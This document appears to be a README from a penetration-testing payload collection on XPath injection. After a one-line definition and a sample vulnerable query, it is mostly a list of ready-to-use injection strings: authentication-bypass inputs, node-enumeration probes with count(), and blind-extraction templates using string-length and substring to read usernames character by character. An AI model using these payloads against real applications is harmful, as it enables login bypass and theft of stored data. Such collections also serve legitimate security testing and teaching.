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README.md |
XPATH injection
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
Exploitation
Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
Blind Exploitation
1. Size of a string
and string-length(account)=SIZE_INT
2. Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)